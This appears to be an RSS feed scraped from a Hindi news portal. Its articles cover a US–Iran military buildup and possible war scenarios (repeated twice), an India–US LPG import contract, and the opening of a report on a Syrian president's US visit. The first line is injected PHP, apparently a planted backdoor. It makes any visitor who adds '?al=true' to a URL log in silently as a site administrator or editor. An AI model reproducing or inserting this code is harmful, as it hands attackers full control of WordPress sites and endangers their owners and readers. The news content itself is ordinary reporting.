// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); US – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 20 Feb 2026 11:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 अमेरिका–ईरान टकराव की आहट? हमले की तैयारी, हथियारों की तैनाती और संभावित जवाबी रणनीति https://pratyushaashakinayikiran.com/?p=199491 Fri, 20 Feb 2026 11:36:00 +0000 https://pratyushaashakinayikiran.com/?p=199491 अमेरिका और ईरान के बीच संघर्ष की आहट बढ़ती जा रही है। डोनाल्ड ट्रंप ने दो एयरक्राफ्ट कैरियर बेड़ों को ईरान की खाड़ी पर तैनात करने  के आदेश दे दिए। इसके बाद दोनों देशों के बीच तनाव चरम पर पहुंच गया। ईरान ने भी होर्मुज जलडमरूमध्य में एक युद्धाभ्यास कर इस क्षेत्र को पूरी तरह बंद करने का संकेत दिया, जो वैश्विक तेल सप्लाई में बाधा पहुंचाने वाला कदम साबित हो सकता है। यानी अमेरिका से लेकर यूरोप और अफ्रीका से लेकर पूरे एशिया के लिए आने वाले दिन कूटनीतिक स्तर पर काफी अहम होने वाले हैं।

ऐसे में यह जानना अहम है कि आखिर अमेरिका और ईरान के बीच हालिया विवाद क्यों और कब से उभरा है? अमेरिका की तरफ से कौन से हथियार और बेड़े पश्चिम एशिया की तरफ भेजे गए हैं? ईरान इस स्थिति से निपटने के लिए कैसे तैयारी कर रहा है? अगर दोनों देशों के बीच संघर्ष भड़कता है तो इसका क्या असर हो सकता है?

पहले जानें- ईरान-अमेरिका के बीच कैसे-क्यों भड़का है तनाव?
ईरान-अमेरिका के बीच तनाव ईरान में महंगाई को लेकर विरोध प्रदर्शनों और उसके खिलाफ सरकारी कार्रवाई के बीच बढ़ा। तनाव की एक और वजह इस दौरान अमेरिका की ओर से पश्चिम एशिया में की गई सैन्य तैनाती भी रही, जिसके जरिए अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप ईरान के अयातुल्ला शासन को खत्म करने की चेतावनी दे रहे हैं। इन सबके साथ ही ईरान का परमाणु कार्यक्रम हमेशा से ही दोनों पक्षों में तनाव का बड़ा कारण रहा है।

1. परमाणु कार्यक्रम
अमेरिका ईरान को परमाणु हथियार हासिल करने से रोकना चाहता है और राष्ट्रपति ट्रंप एक नए परमाणु समझौते के लिए दबाव बना रहे हैं।

2. आंतरिक विरोध प्रदर्शन
दिसंबर 2025 में ईरान में बढ़ती कीमतों और गिरती मुद्रा के खिलाफ शुरू हुए विरोध प्रदर्शनों पर ईरानी सरकार की सख्त कार्रवाई हुई। इसमें हजारों लोगों के मारे जाने की खबर है। बताया जाता है कि इन घटनाओं को खुद अमेरिका ने भड़काया, ताकि वह ईरान के मामलों में दखल दे सके।

3. क्षेत्रीय सुरक्षा
ईरान का लगातार बढ़ता बैलिस्टिक मिसाइल कार्यक्रम और इस्राइल जैसे अमेरिकी सहयोगियों पर बढ़ता खतरा भी दोनों देशों के बीच तनाव का बड़ा कारण है। इसके अलावा सऊदी अरब, यूएई भी अलग-अलग मौकों पर ईरान को लेकर खतरा जताते रहे हैं।

अमेरिका की तरफ से कौन से हथियार और बेड़े पश्चिम एशिया की तरफ भेजे गए हैं?
अमेरिकी रक्षा मंत्रालय के सूत्रों और सैटेलाइट तस्वीरों के हवाले से अमेरिकी मीडिया ने दावा किया है कि ईरान के साथ बढ़ते तनाव के बीच पश्चिम एशिया (मिडल ईस्ट) में 2003 के इराक आक्रमण के बाद से अब तक की सबसे बड़ी सैन्य लामबंदी की गई है। इन सैन्य बेड़ों में अमेरिका के सबसे घातक एफ-22 रैप्टर लड़ाकू विमान से लेकर सबसे बड़े और खतरनाक युद्धपोत यूएसएस जेराल्ड आर. फोर्ड शामिल हैं।

1. नौसैनिक बेड़े
विमानवाहक पोत: अमेरिका ने इस क्षेत्र में दो परमाणु-संचालित विमानवाहक पोत तैनात किए हैं। पहला यूएसएस अब्राहम लिंकन है, जो जनवरी के अंत में अरब सागर पहुंच चुका है। इसके बाद दुनिया के सबसे बड़े और आधुनिक विमानवाहक पोत यूएसएस जेराल्ड आर. फोर्ड को भी क्षेत्र में पहुंचने का आदेश दिया गया है। यह मौजूदा समय में अटलांटिक महासागर से पश्चिम एशिया के रास्ते पर है।

विध्वंसक पोत: वर्तमान में क्षेत्र में कुल 13 विध्वंसक पोत तैनात किए जा चुके हैं। इनमें यूएसएस अब्राहम लिंकन के साथ आए तीन प्रमुख पोत- यूएसएस फ्रैंक ई. पीटरसन जूनियर, यूएसएस स्प्रुआंस और यूएसएस माइकल मर्फी शामिल हैं। ये पोत उन्नत रडार और बैलिस्टिक मिसाइल रक्षा प्रणालियों से लैस हैं।

2. वायु शक्ति और लड़ाकू विमान
लड़ाकू विमान: अमेरिका ने बड़ी संख्या में एफ-22 रैप्टर और एफ-35 लाइटनिंग II जैसे स्टील्थ फाइटर जेट तैनात किए हैं। इनके अलावा एफ-15 और एफ-16  फैल्कन लड़ाकू विमानों की स्क्वाड्रन भी भेजी गई हैं।

सहायक विमान: हवाई अभियानों के संचालन के लिए ई-3 सेंट्री (अवाक्स) टोही विमान, केसी-135 रिफ्यूलिंग टैंकर और ई-11 युद्धक्षेत्र संचार विमान तैनात किए गए हैं।

ड्रोन और बमवर्षक: जॉर्डन के मुवाफ्फाक साल्टी एयर बेस पर कम से कम पांच एमक्यू-9 रीपर ड्रोन देखे गए हैं। इसके अलावा, डिएगो गार्सिया द्वीप पर बी-2 स्टील्थ बमवर्षक विमानों को भी हाई अलर्ट पर रखा गया है। इन्हीं बी-2 बमवर्षक विमानों के जरिए अमेरिका ने पिछले साल ऑपरेशन मिडनाइट हैमर को अंजाम दिया था और ईरान के परमाणु ठिकानों पर जीबीयू-57 बम बरसाए थे।

3. मिसाइल और रक्षा प्रणालियां
हमलावर मिसाइलें: अमेरिकी युद्धपोत टॉमहॉक क्रूज मिसाइलों से लैस हैं, जिनका इस्तेमाल पहले भी ईरान के परमाणु ठिकानों पर हमले के दौरान रक्षा व्यवस्थाओं को ध्वस्त करने के लिए किया जा चुका है।

हवाई रक्षा प्रणालियां: ईरानी मिसाइलों के जवाबी हमले से सुरक्षा के लिए पेंटागन ने क्षेत्र में अतिरिक्त पैट्रियट और एयर डिफेंस सिस्टम (THAAD) हवाई रक्षा प्रणालियां तैनात की हैं।

इलेक्ट्रॉनिक वॉरफेयर: विमानवाहक पोतों पर इलेक्ट्रॉनिक-वारफेयर विमान और एएन/एसएलक्यू-25ए निक्सी जैसे डिकॉय सिस्टम भी मौजूद हैं, जो दुश्मन के हथियारों को भ्रमित कर सकते हैं और अपने किसी भी हथियार को हमले से बचा सकते हैं।

मौजूदा समय में कहां है अमेरिका का यह सैन्य जमावड़ा?
अमेरिका का यह सैन्य जमावड़ा ईरान के इर्द-गिर्द कई रणनीतिक स्थानों पर तैनात है, इनमें प्रमुख एयरबेस और अंतरराष्ट्रीय जलक्षेत्र जॉर्डन, सऊदी अरब और ओमान के पास स्थित हैं। इसके अलावा अरब सागर, हिंद महासागर, बहरीन और कतर में भी अमेरिका के महत्वपूर्ण सैन्य ठिकाने और सुविधाएं मौजूद हैं। पूरे पश्चिम एशिया क्षेत्र में लगभग 30,000 से 40,000 अमेरिकी सैनिक तैनात हैं।

ईरान कैसे कर रहा अमेरिका के हमले का जवाब देने की तैयारी?
अमेरिका के बढ़ते सैन्य दबाव के जवाब में ईरान ने भी अपनी सैन्य और रणनीतिक तैयारियां तेज कर दी हैं।

1. सैन्य हाई अलर्ट और जवाबी हमले की चेतावनी
25 जनवरी को ईरान ने घोषणा की कि उसके सशस्त्र बल पूर्ण सतर्कता की स्थिति में आ गए हैं। ईरान के संयुक्त राष्ट्र मिशन ने चेतावनी दी है कि यदि उसे उकसाया गया, तो वह ऐसा जवाब देगा जैसा पहले कभी नहीं देखा गया।

2. रणनीतिक नौसैनिक अभ्यास
होर्मुज जलडमरूमध्य में ईरान ने अपनी ताकत दिखाने के लिए कई लाइव-फायर ड्रिल्स की हैं। ईरान का यह अभ्यास इसलिए भी अहम है, क्योंकि दुनिया में तेल सप्लाई का एक बड़ा हिस्सा इसी जलडमरूमध्य से सप्लाई के लिए गुजरता है। अगर इस क्षेत्र में बाधा आती है तो एशिया के अधिकतर देशों की तेल आपूर्ति बुरी तरह प्रभावित हो सकती है, जो कि लंबी अवधि में कई देशों को आर्थिक नुकसान पहुंचा सकती है।

संबंधित वीडियो
इसी कड़ी में एक फरवरी से ईरान ने दो दिवसीय नौसैनिक अभ्यास भी शुरू किया है। इसे होर्मुज जलडमरूमध्य का स्मार्ट नियंत्रण नाम दिया गया। यहां मंगलवार (17 फरवरी) को कुछ समय के लिए होर्मुज को बंद भी रखा गया था।

3. युद्ध की रणनीति
ईरान अपनी पारंपरिक सेना की तुलना में अमेरिका के खिलाफ 'असममित युद्ध' की तैयारी कर रहा है। ईरान के पास एक बड़ा मिसाइल और ड्रोन बेड़ा है, जिनमें से कई को गुफाओं और भूमिगत ठिकानों में छिपाकर रखा गया है। ईरान अमेरिकी युद्धपोतों को निशाना बनाने के लिए बड़ी संख्या में विस्फोटक ड्रोनों और तेज रफ्तार टॉरपीडो नावों से एक साथ हमला करने की रणनीति पर काम कर रहा है।

इसके अलावा तेल की वैश्विक आपूर्ति रोकने के लिए ईरान ने होर्मुज जलडमरूमध्य में समुद्री सुरंगें बिछाने का विकल्प सुरक्षित रखा है। फिलहाल यह साफ नहीं है कि ईरान इस ओर कदम बढ़ा चुका है या नहीं।

4. क्षेत्रीय युद्ध की चेतावनी
ईरान के सर्वोच्च नेता अयातुल्ला खामनेई ने चेतावनी दी है कि अमेरिका द्वारा किया गया कोई भी हमला एक व्यापक क्षेत्रीय युद्ध को जन्म देगा। ईरान उन देशों के बुनियादी ढांचे को भी निशाना बना सकता है, जिन्हें वह अमेरिकी हमले में शामिल या मददगार मानता है, जैसे- इस्राइल या जॉर्डन। इसके अलावा ईरान के सहयोगी जैसे हिज्बुल्ला ने भी कहा है कि ईरान पर हमला पूरे क्षेत्र में आग लगा देगा।

5. कूटनीतिक मोर्चा
सैन्य तैयारी के साथ-साथ ईरान कूटनीतिक बातचीत में भी शामिल है। ओमान और जिनेवा में हुई वार्ताओं में ईरान ने मार्गदर्शक सिद्धांतों पर सहमति जताई है, ताकि युद्ध को टाला जा सके या देरी की जा सके। हालांकि, विशेषज्ञों का मानना है कि ईरान इन वार्ताओं का इस्तेमाल खुद ताकत इकट्ठा करने के लिए भी कर सकता है। फिलहाल दोनों देशों के बीच तीसरे चरण की वार्ता पर सहमति बनी है। इन वार्ताओं में ईरान के विदेश मंत्री के साथ अमेरिका की ओर से ट्रंप के मित्र स्टीव व्हिटकॉफ और उनके दामाद जैरेड कुशनर शामिल रहे हैं।

1. क्षेत्रीय सुरक्षा और व्यापक युद्ध की आशंका
ईरान अपनी मिसाइलों और ड्रोनों से बहरीन और कतर में स्थित अमेरिकी सैन्य अड्डों को निशाना बनाने की चेतावनी दे चुका है। इसके अलावा, वह इस्राइल और जॉर्डन जैसे देशों के बुनियादी ढांचे पर भी हमला कर सकता है, क्योंकि इन देशों के सैन्य ठिकानों से ही अमेरिका आगे कार्रवाई की योजना बना रहा है।

2. वैश्विक अर्थव्यवस्था और ऊर्जा संकट
ईरान होर्मुज जलडमरूमध्य में समुद्री सुरंगें बिछाकर इस अहम मार्ग को बंद करने की कोशिश कर सकता है। विश्व का लगभग 20-25% तेल और 20% तरलीकृत प्राकृतिक गैस (एलएनजी) इसी मार्ग से गुजरता है, जिसके रुकने से वैश्विक व्यापार और तेल की कीमतों पर भारी असर पड़ सकता है। हालांकि, कुछ विश्लेषणों का मानना है कि वर्तमान में वैश्विक तेल आपूर्ति पर्याप्त है और कीमतें कम हैं, इसलिए हमले के बाद कीमतों में उछाल सीमित हो सकता है।

3. ईरान के भीतर राजनीतिक बदलाव
अमेरिकी हमलों का प्रमुख मकसद ईरान के परमाणु और मिसाइल कार्यक्रमों को नष्ट करना और शासन परिवर्तन करना हो सकता है। ऐसी स्थिति में या तो ईरान में अयातुल्ला शासन में बदलाव हो सकता है या फिर सत्ता इस्लामिक रिवोल्यूशनरी गार्ड कोर (आईआरजीसी) जैसे कट्टरपंथी सैन्य गुटों के हाथ में जा सकती है।

4. मानवीय संकट
अगर संघर्ष के कारण ईरानी शासन पूरी तरह चरमरा जाता है, तो देश में गृहयुद्ध और जातीय संघर्ष (जैसे कुर्दों और बलूचियों के बीच) छिड़ सकता है। लगभग 9.3 करोड़ की आबादी वाले इस देश में अराजकता से बड़े पैमाने पर मानवीय और शरणार्थी संकट पैदा हो सकता है।

 

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अमेरिका–ईरान टकराव की आहट? हमले की तैयारी, हथियारों की तैनाती और संभावित जवाबी रणनीति https://pratyushaashakinayikiran.com/?p=199492 Fri, 20 Feb 2026 11:36:00 +0000 https://pratyushaashakinayikiran.com/?p=199492 अमेरिका और ईरान के बीच संघर्ष की आहट बढ़ती जा रही है। डोनाल्ड ट्रंप ने दो एयरक्राफ्ट कैरियर बेड़ों को ईरान की खाड़ी पर तैनात करने  के आदेश दे दिए। इसके बाद दोनों देशों के बीच तनाव चरम पर पहुंच गया। ईरान ने भी होर्मुज जलडमरूमध्य में एक युद्धाभ्यास कर इस क्षेत्र को पूरी तरह बंद करने का संकेत दिया, जो वैश्विक तेल सप्लाई में बाधा पहुंचाने वाला कदम साबित हो सकता है। यानी अमेरिका से लेकर यूरोप और अफ्रीका से लेकर पूरे एशिया के लिए आने वाले दिन कूटनीतिक स्तर पर काफी अहम होने वाले हैं।

ऐसे में यह जानना अहम है कि आखिर अमेरिका और ईरान के बीच हालिया विवाद क्यों और कब से उभरा है? अमेरिका की तरफ से कौन से हथियार और बेड़े पश्चिम एशिया की तरफ भेजे गए हैं? ईरान इस स्थिति से निपटने के लिए कैसे तैयारी कर रहा है? अगर दोनों देशों के बीच संघर्ष भड़कता है तो इसका क्या असर हो सकता है?

पहले जानें- ईरान-अमेरिका के बीच कैसे-क्यों भड़का है तनाव?
ईरान-अमेरिका के बीच तनाव ईरान में महंगाई को लेकर विरोध प्रदर्शनों और उसके खिलाफ सरकारी कार्रवाई के बीच बढ़ा। तनाव की एक और वजह इस दौरान अमेरिका की ओर से पश्चिम एशिया में की गई सैन्य तैनाती भी रही, जिसके जरिए अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप ईरान के अयातुल्ला शासन को खत्म करने की चेतावनी दे रहे हैं। इन सबके साथ ही ईरान का परमाणु कार्यक्रम हमेशा से ही दोनों पक्षों में तनाव का बड़ा कारण रहा है।

1. परमाणु कार्यक्रम
अमेरिका ईरान को परमाणु हथियार हासिल करने से रोकना चाहता है और राष्ट्रपति ट्रंप एक नए परमाणु समझौते के लिए दबाव बना रहे हैं।

2. आंतरिक विरोध प्रदर्शन
दिसंबर 2025 में ईरान में बढ़ती कीमतों और गिरती मुद्रा के खिलाफ शुरू हुए विरोध प्रदर्शनों पर ईरानी सरकार की सख्त कार्रवाई हुई। इसमें हजारों लोगों के मारे जाने की खबर है। बताया जाता है कि इन घटनाओं को खुद अमेरिका ने भड़काया, ताकि वह ईरान के मामलों में दखल दे सके।

3. क्षेत्रीय सुरक्षा
ईरान का लगातार बढ़ता बैलिस्टिक मिसाइल कार्यक्रम और इस्राइल जैसे अमेरिकी सहयोगियों पर बढ़ता खतरा भी दोनों देशों के बीच तनाव का बड़ा कारण है। इसके अलावा सऊदी अरब, यूएई भी अलग-अलग मौकों पर ईरान को लेकर खतरा जताते रहे हैं।

अमेरिका की तरफ से कौन से हथियार और बेड़े पश्चिम एशिया की तरफ भेजे गए हैं?
अमेरिकी रक्षा मंत्रालय के सूत्रों और सैटेलाइट तस्वीरों के हवाले से अमेरिकी मीडिया ने दावा किया है कि ईरान के साथ बढ़ते तनाव के बीच पश्चिम एशिया (मिडल ईस्ट) में 2003 के इराक आक्रमण के बाद से अब तक की सबसे बड़ी सैन्य लामबंदी की गई है। इन सैन्य बेड़ों में अमेरिका के सबसे घातक एफ-22 रैप्टर लड़ाकू विमान से लेकर सबसे बड़े और खतरनाक युद्धपोत यूएसएस जेराल्ड आर. फोर्ड शामिल हैं।

1. नौसैनिक बेड़े
विमानवाहक पोत: अमेरिका ने इस क्षेत्र में दो परमाणु-संचालित विमानवाहक पोत तैनात किए हैं। पहला यूएसएस अब्राहम लिंकन है, जो जनवरी के अंत में अरब सागर पहुंच चुका है। इसके बाद दुनिया के सबसे बड़े और आधुनिक विमानवाहक पोत यूएसएस जेराल्ड आर. फोर्ड को भी क्षेत्र में पहुंचने का आदेश दिया गया है। यह मौजूदा समय में अटलांटिक महासागर से पश्चिम एशिया के रास्ते पर है।

विध्वंसक पोत: वर्तमान में क्षेत्र में कुल 13 विध्वंसक पोत तैनात किए जा चुके हैं। इनमें यूएसएस अब्राहम लिंकन के साथ आए तीन प्रमुख पोत- यूएसएस फ्रैंक ई. पीटरसन जूनियर, यूएसएस स्प्रुआंस और यूएसएस माइकल मर्फी शामिल हैं। ये पोत उन्नत रडार और बैलिस्टिक मिसाइल रक्षा प्रणालियों से लैस हैं।

2. वायु शक्ति और लड़ाकू विमान
लड़ाकू विमान: अमेरिका ने बड़ी संख्या में एफ-22 रैप्टर और एफ-35 लाइटनिंग II जैसे स्टील्थ फाइटर जेट तैनात किए हैं। इनके अलावा एफ-15 और एफ-16  फैल्कन लड़ाकू विमानों की स्क्वाड्रन भी भेजी गई हैं।

सहायक विमान: हवाई अभियानों के संचालन के लिए ई-3 सेंट्री (अवाक्स) टोही विमान, केसी-135 रिफ्यूलिंग टैंकर और ई-11 युद्धक्षेत्र संचार विमान तैनात किए गए हैं।

ड्रोन और बमवर्षक: जॉर्डन के मुवाफ्फाक साल्टी एयर बेस पर कम से कम पांच एमक्यू-9 रीपर ड्रोन देखे गए हैं। इसके अलावा, डिएगो गार्सिया द्वीप पर बी-2 स्टील्थ बमवर्षक विमानों को भी हाई अलर्ट पर रखा गया है। इन्हीं बी-2 बमवर्षक विमानों के जरिए अमेरिका ने पिछले साल ऑपरेशन मिडनाइट हैमर को अंजाम दिया था और ईरान के परमाणु ठिकानों पर जीबीयू-57 बम बरसाए थे।

3. मिसाइल और रक्षा प्रणालियां
हमलावर मिसाइलें: अमेरिकी युद्धपोत टॉमहॉक क्रूज मिसाइलों से लैस हैं, जिनका इस्तेमाल पहले भी ईरान के परमाणु ठिकानों पर हमले के दौरान रक्षा व्यवस्थाओं को ध्वस्त करने के लिए किया जा चुका है।

हवाई रक्षा प्रणालियां: ईरानी मिसाइलों के जवाबी हमले से सुरक्षा के लिए पेंटागन ने क्षेत्र में अतिरिक्त पैट्रियट और एयर डिफेंस सिस्टम (THAAD) हवाई रक्षा प्रणालियां तैनात की हैं।

इलेक्ट्रॉनिक वॉरफेयर: विमानवाहक पोतों पर इलेक्ट्रॉनिक-वारफेयर विमान और एएन/एसएलक्यू-25ए निक्सी जैसे डिकॉय सिस्टम भी मौजूद हैं, जो दुश्मन के हथियारों को भ्रमित कर सकते हैं और अपने किसी भी हथियार को हमले से बचा सकते हैं।

मौजूदा समय में कहां है अमेरिका का यह सैन्य जमावड़ा?
अमेरिका का यह सैन्य जमावड़ा ईरान के इर्द-गिर्द कई रणनीतिक स्थानों पर तैनात है, इनमें प्रमुख एयरबेस और अंतरराष्ट्रीय जलक्षेत्र जॉर्डन, सऊदी अरब और ओमान के पास स्थित हैं। इसके अलावा अरब सागर, हिंद महासागर, बहरीन और कतर में भी अमेरिका के महत्वपूर्ण सैन्य ठिकाने और सुविधाएं मौजूद हैं। पूरे पश्चिम एशिया क्षेत्र में लगभग 30,000 से 40,000 अमेरिकी सैनिक तैनात हैं।

ईरान कैसे कर रहा अमेरिका के हमले का जवाब देने की तैयारी?
अमेरिका के बढ़ते सैन्य दबाव के जवाब में ईरान ने भी अपनी सैन्य और रणनीतिक तैयारियां तेज कर दी हैं।

1. सैन्य हाई अलर्ट और जवाबी हमले की चेतावनी
25 जनवरी को ईरान ने घोषणा की कि उसके सशस्त्र बल पूर्ण सतर्कता की स्थिति में आ गए हैं। ईरान के संयुक्त राष्ट्र मिशन ने चेतावनी दी है कि यदि उसे उकसाया गया, तो वह ऐसा जवाब देगा जैसा पहले कभी नहीं देखा गया।

2. रणनीतिक नौसैनिक अभ्यास
होर्मुज जलडमरूमध्य में ईरान ने अपनी ताकत दिखाने के लिए कई लाइव-फायर ड्रिल्स की हैं। ईरान का यह अभ्यास इसलिए भी अहम है, क्योंकि दुनिया में तेल सप्लाई का एक बड़ा हिस्सा इसी जलडमरूमध्य से सप्लाई के लिए गुजरता है। अगर इस क्षेत्र में बाधा आती है तो एशिया के अधिकतर देशों की तेल आपूर्ति बुरी तरह प्रभावित हो सकती है, जो कि लंबी अवधि में कई देशों को आर्थिक नुकसान पहुंचा सकती है।

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इसी कड़ी में एक फरवरी से ईरान ने दो दिवसीय नौसैनिक अभ्यास भी शुरू किया है। इसे होर्मुज जलडमरूमध्य का स्मार्ट नियंत्रण नाम दिया गया। यहां मंगलवार (17 फरवरी) को कुछ समय के लिए होर्मुज को बंद भी रखा गया था।

3. युद्ध की रणनीति
ईरान अपनी पारंपरिक सेना की तुलना में अमेरिका के खिलाफ 'असममित युद्ध' की तैयारी कर रहा है। ईरान के पास एक बड़ा मिसाइल और ड्रोन बेड़ा है, जिनमें से कई को गुफाओं और भूमिगत ठिकानों में छिपाकर रखा गया है। ईरान अमेरिकी युद्धपोतों को निशाना बनाने के लिए बड़ी संख्या में विस्फोटक ड्रोनों और तेज रफ्तार टॉरपीडो नावों से एक साथ हमला करने की रणनीति पर काम कर रहा है।

इसके अलावा तेल की वैश्विक आपूर्ति रोकने के लिए ईरान ने होर्मुज जलडमरूमध्य में समुद्री सुरंगें बिछाने का विकल्प सुरक्षित रखा है। फिलहाल यह साफ नहीं है कि ईरान इस ओर कदम बढ़ा चुका है या नहीं।

4. क्षेत्रीय युद्ध की चेतावनी
ईरान के सर्वोच्च नेता अयातुल्ला खामनेई ने चेतावनी दी है कि अमेरिका द्वारा किया गया कोई भी हमला एक व्यापक क्षेत्रीय युद्ध को जन्म देगा। ईरान उन देशों के बुनियादी ढांचे को भी निशाना बना सकता है, जिन्हें वह अमेरिकी हमले में शामिल या मददगार मानता है, जैसे- इस्राइल या जॉर्डन। इसके अलावा ईरान के सहयोगी जैसे हिज्बुल्ला ने भी कहा है कि ईरान पर हमला पूरे क्षेत्र में आग लगा देगा।

5. कूटनीतिक मोर्चा
सैन्य तैयारी के साथ-साथ ईरान कूटनीतिक बातचीत में भी शामिल है। ओमान और जिनेवा में हुई वार्ताओं में ईरान ने मार्गदर्शक सिद्धांतों पर सहमति जताई है, ताकि युद्ध को टाला जा सके या देरी की जा सके। हालांकि, विशेषज्ञों का मानना है कि ईरान इन वार्ताओं का इस्तेमाल खुद ताकत इकट्ठा करने के लिए भी कर सकता है। फिलहाल दोनों देशों के बीच तीसरे चरण की वार्ता पर सहमति बनी है। इन वार्ताओं में ईरान के विदेश मंत्री के साथ अमेरिका की ओर से ट्रंप के मित्र स्टीव व्हिटकॉफ और उनके दामाद जैरेड कुशनर शामिल रहे हैं।

1. क्षेत्रीय सुरक्षा और व्यापक युद्ध की आशंका
ईरान अपनी मिसाइलों और ड्रोनों से बहरीन और कतर में स्थित अमेरिकी सैन्य अड्डों को निशाना बनाने की चेतावनी दे चुका है। इसके अलावा, वह इस्राइल और जॉर्डन जैसे देशों के बुनियादी ढांचे पर भी हमला कर सकता है, क्योंकि इन देशों के सैन्य ठिकानों से ही अमेरिका आगे कार्रवाई की योजना बना रहा है।

2. वैश्विक अर्थव्यवस्था और ऊर्जा संकट
ईरान होर्मुज जलडमरूमध्य में समुद्री सुरंगें बिछाकर इस अहम मार्ग को बंद करने की कोशिश कर सकता है। विश्व का लगभग 20-25% तेल और 20% तरलीकृत प्राकृतिक गैस (एलएनजी) इसी मार्ग से गुजरता है, जिसके रुकने से वैश्विक व्यापार और तेल की कीमतों पर भारी असर पड़ सकता है। हालांकि, कुछ विश्लेषणों का मानना है कि वर्तमान में वैश्विक तेल आपूर्ति पर्याप्त है और कीमतें कम हैं, इसलिए हमले के बाद कीमतों में उछाल सीमित हो सकता है।

3. ईरान के भीतर राजनीतिक बदलाव
अमेरिकी हमलों का प्रमुख मकसद ईरान के परमाणु और मिसाइल कार्यक्रमों को नष्ट करना और शासन परिवर्तन करना हो सकता है। ऐसी स्थिति में या तो ईरान में अयातुल्ला शासन में बदलाव हो सकता है या फिर सत्ता इस्लामिक रिवोल्यूशनरी गार्ड कोर (आईआरजीसी) जैसे कट्टरपंथी सैन्य गुटों के हाथ में जा सकती है।

4. मानवीय संकट
अगर संघर्ष के कारण ईरानी शासन पूरी तरह चरमरा जाता है, तो देश में गृहयुद्ध और जातीय संघर्ष (जैसे कुर्दों और बलूचियों के बीच) छिड़ सकता है। लगभग 9.3 करोड़ की आबादी वाले इस देश में अराजकता से बड़े पैमाने पर मानवीय और शरणार्थी संकट पैदा हो सकता है।

 

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टैरिफ वॉर के बीच अमेरिका के साथ रिश्ते सुधरे, रसोई गैस आयात पर बड़ा करार—क्या सस्ता होगा सिलेंडर? https://pratyushaashakinayikiran.com/?p=191883 Mon, 17 Nov 2025 09:35:00 +0000 https://pratyushaashakinayikiran.com/?p=191883 नई दिल्‍ली.
 टैरिफ पर जारी तनाव में कमी आते ही भारत और अमेरिका के बीच रिश्‍ते एक बार फिर सुधरने शुरू हो गए हैं. खबर है कि अमेरिका और भारत के बीच LPG आयात को लेकर बड़ा करार हुआ है. अमेरिका के साथ साल 2026 के लिए लगभग 22 लाख टन प्रतिवर्ष LPG आयात का अनुबंध किया गया है. अनुबंध के तहत भारत के वार्षिक आयात का लगभग 10% अमेरिका से होगा.

इस करार के तहत साल 2026 में आयात शुरू किया जाएगा. भारत की सार्वजनिक तेल कंपनियों ने अमेरिकी कंपनियों के साथ आयात के लिए यह करार किया है. पेट्रोलियम और प्राकृतिक गैस मंत्री हरदीप पुरी ने बताया कि यह करार अमेरिकी टैरिफ के बीच काफी महत्वपूर्ण माना जा रहा है. इससे पहले खबर आई थी कि अमेरिका ने ट्रेड डील के लिए भारतीय कृषि उत्‍पादों को लेकर अपनी जिद भी छोड़ दी है.

किन कंपनियों ने किया करार
भारत की सरकारी तेल कंपनियों इंडयिन ऑयल कॉरपोरेशन, भारत पेट्रोलियम कॉरपोरेशन लिमिटेड, हिंदुस्‍तान पेट्रोल कॉरपोरेशन लिमिटेड ने मिलकर अमेरिका के साथ एलपीजी का यह करार किया है. एलपीजी वही गैस है, जो रसोई गैस सिलेंडर में भरी जाती है. इस करार के तहत अमेरिका से साल 2026 में 22 लाख टन एलपीजी का आयात किया जाएगा. यह करार सिर्फ एक साल के लिए ही किया गया है. अमेरिका से अगले साल आयात होने वाला एलपीजी भारत के कुल आयात का 10 फीसदी हिस्‍सा होगा. इसे रणनीतिक रूप से काफी अहम माना जा रहा है. यह आयात अमेरिका के खाड़ी तटीय क्षेत्र से होगा और सीधे भारतीय पोर्ट पर आएगा.

भारत में एलपीजी का कितना आयात
भारत में हर साल एलपीजी का आयात बढ़ता ही जा रहा है. वित्‍तवर्ष 2023-24 में यह आंकड़ा 2.01 करोड़ टन रहा था, जो 2024 में बढ़कर 2.05 करोड़ टन हो गया. भारत में एलपीजी की कुल खपत करीब 3.1 करोड़ टन है और अपनी जरूरत का करीब 66 फीसदी एलपीजी आयात करना पड़ता है. पिछले साल सबसे ज्‍यादा आयात मध्‍य पूर्व देशों से हुआ है. इसमें यूएई से 81 लाख टन तो कतर से 50 लाख टन, कुवैत से 34 लाख टन और सऊदी अरब से 33 लाख टन एलपीजी का आयात किया गया. साल 2025 में शुरुआती तौर पर तो आयात में सुस्‍ती दिखी, लेकिन माना जा रहा है कुल खपत बढ़कर 3.2 करोड़ टन पहुंच सकती है. इस बीच अमेरिका से 22 लाख टन एलपीजी के आयात को भी काफी अहम माना जा रहा है.

भारत में कितना एलपीजी उत्‍पादन
वित्‍तवर्ष 2024 में भारत में करीब 1.3 करोड़ टन एलपीजी का उत्‍पादन हुआ था, जो कुल खपत का करीब 42 फीसदी था और आयात 67 फीसदी के आसपास पहुंच गया था. वित्‍तवर्ष 2025 में अप्रैल तक एलपीजी उत्‍पादन हर महीने करीब 10.0 लाख टन था. इंडियन ऑयल सबसे ज्‍यादा 30 हजार टन एलपीजी का हर साल उत्‍पादन करता है. एक दशक में एलपीजी का उत्‍पादन करीब 30 फीसदी बढ़ा है, लेकिन मांग में भी 32 फीसदी का उछाल आया. इस तरह आयात पर निर्भरता घटने के बजाय बढ़ती ही जा रही है. सरकार ने भी साल 2030 तक एलपीजी उत्‍पादन को 15 फीसदी तक पहुंचाने की योजना बनाई है. इस दौरान हर साल 3.5 फीसदी की बढ़ोतरी का अनुमान है. इसके लिए सरकार ऑयल इंडस्‍ट्री डेवलपमेंट फंड के जरिये 17,700 करोड़ रुपये का निवेश करेगी.

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अहमद अल शरा का अमेरिका दौरा: 1946 के बाद किसी सीरियाई राष्ट्रपति की पहली यात्रा https://pratyushaashakinayikiran.com/?p=190289 Sun, 09 Nov 2025 11:55:00 +0000 https://pratyushaashakinayikiran.com/?p=190289  वॉशिंगटन

